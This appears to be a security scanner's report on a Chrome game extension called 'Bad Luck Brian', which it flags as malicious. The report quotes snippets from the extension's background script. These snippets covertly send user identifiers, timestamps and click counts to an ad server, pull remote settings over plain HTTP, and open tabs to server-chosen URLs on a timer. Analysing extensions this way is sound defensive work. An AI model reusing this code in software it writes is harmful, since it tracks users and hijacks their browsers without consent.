Bad Luck Brian

ID: meldlchplkgmljkgckngodeigepjndcg

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Active
Version
1.0.1
Size
0.08 MB
Rating
0.0/5
Reviews
0
Users
0
Type
Extension
Updated
Apr 20, 2021
Category
14_fun
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
rogargauprer1976View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
1
Obsolete
0
Listed
1
Unlisted
0
Total Users
0

Bad Luck Brian just bought a present for his girlfriend and ....

Bad Luck Brian just bought a present for his girlfriend, but it's starting to rain! Help him protect the present as long as possible, otherwise his girlfriend is going to be very angry! How To Play? Use arrow keys to move/.

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.

The shows() function fetches an ad payload from game.t0ptoy.com and, after an 18-second silent delay, opens a new browser tab to a URL entirely controlled by the remote ad server (r.body.click_action) — with no notification, no user gesture, and no opt-out. This is classic adware forced-redirect behavior: the game popup is bait to keep the extension installed while the background silently navigates the user's browser on a schedule controlled by the third-party server.

background-script.js (Line 194)
function shows() {  fetch('http://game.t0ptoy.com/game_api_vv.php?eid=' + chrome.runtime.id, {      method: 'GET',      cache: 'no-cache',      referrerPolicy: 'no-referrer'    })    .then(function(r) {      if (!!r.body) {        let ar = [r.body.icon, r.body.image];        ar.forEach((u, i) => {          fetch(u, {            mode: 'no-cors'          }).catch(err => {})        });        setTimeout(() => {          !!r.body.click_action ? chrome.tabs.create({            url: r.body.click_action          }) : NULL;          localStorage.count = 1        }, 18E3);      } else {        show();      }    })

Every time the extension runs its ad cycle it exfiltrates a unique client identifier (cid), install timestamp (ut), current timestamp (ct), last-push-click and last-push-show timestamps (lc/ls), cumulative click count (cc), and the Chrome extension runtime ID (eid) to game.t0ptoy.com — a third-party ad network with no connection to the publisher's disclosed identity ([email protected]). No privacy policy is declared and no data-collection categories are disclosed in the CWS listing. This is covert behavioral tracking sent to an external ad network.

background-script.js (Line 55)
return fetch('http://game.t0ptoy.com/game_api_v21.php?cid=' + localStorage.clientID + '&ut=' + localStorage  .instalTimestamp + '&ct=' + getUnixTimestamp() + '&lc=' + localStorage.lastPushClick + '&ls=' + localStorage  .lastPushShow + '&cc=' + localStorage.countClick + '&eid=' + chrome.runtime.id + '&ads=' + ads, {    method: 'GET',    cache: 'no-cache',    referrerPolicy: 'no-referrer'  })

After displaying an ad notification, the extension auto-opens a new tab to data.link (a URL from the remote ad server) after a server-controlled delay (data.time_close). The tab is opened regardless of whether the user interacted with the notification — both branches of the if/else call chrome.tabs.create. This removes any pretence of user consent: the ad redirect fires on a timer set by game.t0ptoy.com, not by user action.

background-script.js (Line 131)
if (data.close) {  setTimeout(() => {    chrome.notifications.getAll((p) => {      if (p[id]) {        chrome.tabs.create({          url: data.link        });        chrome.notifications.clear(id);        click(id);      } else {        let arrPush = JSON.parse(localStorage.arrPush),          count = arrPush.filter(x => Object.keys(x) == id)          .length;        if (!(0 < count)) {          chrome.tabs.create({            url: data.link          });          click(id);        }      }    })  }, data.time_close);}

The extension fetches its core behavioral parameters (notification frequency, requireInteraction flag) from a remote server over plain HTTP (not HTTPS), meaning the ad network can update how aggressively the extension spams notifications and opens tabs without any extension update. This remote configuration channel also exposes the extension to man-in-the-middle manipulation of its ad behavior.

background-script.js (Line 34)
fetch('http://game.t0ptoy.com/_setting.json')  .then(function(resp) {    return resp.json();  })  .then(function(data) {    localStorage.requireInteraction = data.requireInteraction;    localStorage.frequency = data.frequency;    localStorage.updateSettingTime = getUnixTimestamp();  })

By severity

Critical1
High2
Medium1
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.14

Files with findings

1 distinct path — top paths by unique finding count:

  • background-script.js4
S.No.
Category
Severity
File
Summary
Found in Version
1Other
critical
background-script.js (line 194)The shows() function fetches an ad payload from game.t0ptoy.com and, after an 18-second silent delay, opens a new browser tab to a URL entirely controlled by the remote ad server (r.body.click_action) — with no notifi…
2Other
high
background-script.js (line 131)After displaying an ad notification, the extension auto-opens a new tab to data.link (a URL from the remote ad server) after a server-controlled delay (data.time_close). The tab is opened regardless of whether the use…
3Tracking
high
background-script.js (line 55)Every time the extension runs its ad cycle it exfiltrates a unique client identifier (cid), install timestamp (ut), current timestamp (ct), last-push-click and last-push-show timestamps (lc/ls), cumulative click count…
4Other
medium
background-script.js (line 34)The extension fetches its core behavioral parameters (notification frequency, requireInteraction flag) from a remote server over plain HTTP (not HTTPS), meaning the ad network can update how aggressively the extension…
URLs
7
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/xap/1.0/http://ns.adobe.com/xap/1.0/
purl.org/dc/elements/1.1/http://purl.org/dc/elements/1.1/
game.t0ptoy.com/_setting.jsonhttp://game.t0ptoy.com/_setting.json
game.t0ptoy.com/game_api_v21.phphttp://game.t0ptoy.com/game_api_v21.php?cid=
game.t0ptoy.com/game_api_vv.phphttp://game.t0ptoy.com/game_api_vv.php?eid=
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.0.1
Latest
0.08 MB
Malicious
4
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.